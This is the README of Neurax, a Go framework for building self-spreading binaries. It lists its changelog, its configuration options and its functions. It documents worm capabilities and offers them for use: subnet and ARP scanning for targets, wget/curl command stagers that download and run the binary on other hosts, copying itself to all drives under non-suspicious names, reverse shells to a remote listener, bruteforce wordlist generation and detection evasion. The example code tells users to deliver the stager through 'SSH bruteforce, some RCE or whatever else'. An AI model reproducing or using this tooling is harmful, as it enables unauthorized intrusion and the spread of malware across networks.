/neurax

A framework for constructing self-spreading binaries

Primary LanguageGoMIT LicenseMIT



Neurax



A framework that aids in creation of self-spreading software



New in v. 2.5

  • Optional background execution of the second-stage binary (N.StagerBg)
  • Command stager saves and executes in context-local path
  • It also removes the downloaded binary right after successful execution
  • Removed synchronized command execution mechanism for speed/stability reasons. I will come up with a decent alternative prior to next release.
  • N.NoInfectCheck to disable checking if host is already infected.
  • Single-execution policy on target machine, enforced with an exclusive file mutex placed inside NeuraxServer().
  • Added a nested goroutine for serving the binary
  • New httrack stager for Linux
  • Commented-out common wordlist for detection evasion
  • Command stager can wait before removing the binary (N.StagerRemovalDelay)

New in v. 2.0

  • New wordlist mutators + common passwords by country
  • Improvised passive scanning
  • .FastScan option that makes active scans a bit quicker
  • Wordlists are created strictly in-memory
  • NeuraxScan() accepts a callback function instead of channel as an argument.
  • NeuraxScan() scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets
  • Reverse-DNS lookup for targets that are not in IP format
  • Extraction of target candidates from ARP cache
  • Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways)
  • Possibility to specify interface and timeout when using passive network scan.
  • Improved command stager (can be optionally executed with elevated privilleges / multiple times)
  • Few changes of options' names
  • NeuraxConfig. became N. (cause it's shorter to type)
  • Functions for random memory allocation + binary migration
  • Possibility to chain multiple stagers (ex. wget + curl)
  • Volume and complexity of created wordlist can be easily tuned (with options such as .WordlistExpand)
  • Possibility to set time-to-live of created binary

Usage

With help of Neurax, Golang binaries can spread on local network without using any external servers.

Diverse config options and command stagers allow rapid propagation across various wireless environments.

Example code

package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Specify serving port and stager to use
  N.Port = 5555
  N.Stager = "wget"

  //Start a server that exposes the current binary in the background
  go NeuraxServer()
 
  //Copy current binary to all logical drives
  NeuraxDisks()

  //Create a command stager that should be launched on target machine
  //It will download, decode and execute the binary
  cmd_stager := NeuraxStager()

  /* Now you have to somehow execute the command generated above.
     You can use SSH bruteforce, some RCE or whatever else you want ;> */

}

List of config entries

Name Description Default value
N.Stager Name of the command stager to use random, platform-compatible
N.StagerSudo If true, Linux cmd stagers are executed with elevated privilleges false
N.StagerRetry Number of times to re-execute the command stager 0
N.StagerRemoveDelay Sleep instruction is applied before removing the downloaded binary true
N.Port Port to serve on 6741
N.Platform Platform to target detected automatically
N.Path The path under which binary is saved on the host .
N.FileName Name under which downloaded binary should be served and then saved random
N.Base64 Encode the transferred binary in base64 false
N.CommPort Port that is used by binaries to communicate with each other 7777
N.CommProto Protocol for communication between nodes "udp"
N.ReverseListener Contains "<host>:<port>" of remote reverse shell handler not specified
N.ReverseProto Protocol to use for reverse connection "udp"
N.ScanRequiredPort NeuraxScan() treats host as active only when it has a specific port opened none
N.ScanPassive NeuraxScan() detects hosts using passive ARP traffic monitoring false
N.ScanPassiveTimeout NeuraxScan() monitors ARP layer this amount of seconds 50 seconds
N.ScanPassiveIface Interface to use when scanning passively default
N.ScanActiveTimeout NeuraxScan() sets this value as timeout for scanned port in each thread 2 seconds
N.ScanPassiveAll NeuraxScan() captures packets on all found devices false
N.ScanPassiveNoArp Passive scan doesn't set strict ARP capture filter false
N.ScanFirst A slice containing IP addresses to scan first []string{}
N.ScanFirstOnly NeuraxScan() scans only hosts specified within .ScanFirst false
N.ScanArpCache NeuraxScan() scans first the hosts found in local ARP cache. Works only with active scan false
N.ScanCidr NeuraxScan() scans this CIDR local IP + "\24"
N.ScanActiveThreads Number of threads to use for NeuraxScan() 10
N.ScanFullRange NeuraxScan() scans all ports of target host to determine if it is active from 19 to 300
N.ScanInterval Time interval to sleep before scanning whole subnet again "2m"
N.ScanHostInterval Time interval to sleep before scanning next host in active mode "none"
N.ScanGatewayFirst Gateway is the first host scanned when active scan is used false
N.Verbose If true, all error messages are printed to STDOUT false
N.Remove When any errors occur, binary removes itself from the host false
N.PreventReexec If true, when any command matches with those that were already received before, it is not executed true
N.WordlistExpand NeuraxWordlist() performs non-standard transformations on input words false
N.WordlistCommon Prepend 20 most common passwords to wordlist false
N.WordlistCommonNum Number of common passwords to use all
N.WordlistCommonCountries A map[string]int that contains country codes and number of passwords to use map[string]int
N.WordlistMutators Mutators to use when .WordlistExpand is specified {"single_upper", "cyryllic", "encapsule"}
N.WordlistPermuteNum Maximum length of permutation generated by NeuraxWordlistPermute() 2
N.WordlistPermuteSeparator A separator character to use for permutations "-"
N.WordlistShuffle Shuffle generated wordlist before returning it false
N.AllocNum This entry defines how many times NeuraxAlloc() allocates random memory 5
N.Blacklist Slice that contains IP addresses that are excluded from any type of scanning []string{}
N.FastHTTP HTTP request in IsHostInfected() is performed using fasthttp library false
N.Debug Enable debug messages false
N.NoInfectCheck Disable checking if host is already infected true

Finding new targets

Function NeuraxScan(func(string)) enables detection of active hosts on local network. It's only argument is a callback function that is called in background for every active host. Host is treated as active when it has at least 1 open port, is not already infected + fullfils conditions specified within N.

NeuraxScan() runs as infinite loop - it scans whole subnet specified by .Cidr config entry and when every host is scanned, function sleeps for an interval given in .ScanInterval.

Disks infection

Neurax binary doesn't have to copy itself using wireless means. Function NeuraxDisks() copies current binary (under non-suspicious name) to all logical drives that were found. Copied binary is not executed, but simply resides in it's destination waiting to be run. NeuraxDisks() returns an error if list of disks cannot be obtained or copying to any destination was impossible.

Another function, NeuraxZIP(num_files int) err allows to create a randomly named .zip archive containing current binary. It is saved in current directory, and contains up to num_files random files it.

NeuraxZIPSelf() simply zips the current binary, creating an archive holding the same name.

Reverse connections

An interactive reverse shell can be established with NeuraxReverse(). It will receive commands from hostname specified inside .ReverseListener in a form of "<host>:<port>". Protocol that is used is defined under .ReverseProto If NeuraxOpenComm() was started before calling this function, each command will behave as described in above section. If it was not, commands will be executed locally.

Note: this function should be also runned as goroutine to prevent blocking caused by infinite loop used for receiving.

Cleaning up

Whenever "purge" command is received by a node, it resends this command to all other nodes, removes itself from host and quits. This behaviour can be also commenced using NeuraxPurge() executed somewhere in the source.

Wordlist creation

If spread vector of your choice is based on some kind of bruteforce, it is good to have a proper wordlist prepared. Storing words in a text-file on client side isn't really effective, so you can mutate a basic wordlist using NeuraxWordlist(...words) []string. To permute a set of given words, use NeuraxWordlistPermute(..words) []string

Setting time-to-live

If you want your binary to remove itself after given time, use NeuraxSetTTL() at the beginnig of your code. This function should be launched as a goroutine. For example:

go NeuraxSetTTL("2m")

will make the binary run NeuraxPurgeSelf() after 2 minutes from initial execution.

Using multiple stagers at once

If you would like to chain all stagers available for given platform, set .Stager to "chain".

Moving the dropped binary

If you need to copy the binary after initial execution, use NeuraxMigrate(path string). It will copy the binary under path, remove current binary and execute newly migrated one.

Support this tool

If you like this project and want to see it grow, please consider making a small donation :>

>>>>> DONATE <<<<<

License

This software is under MIT license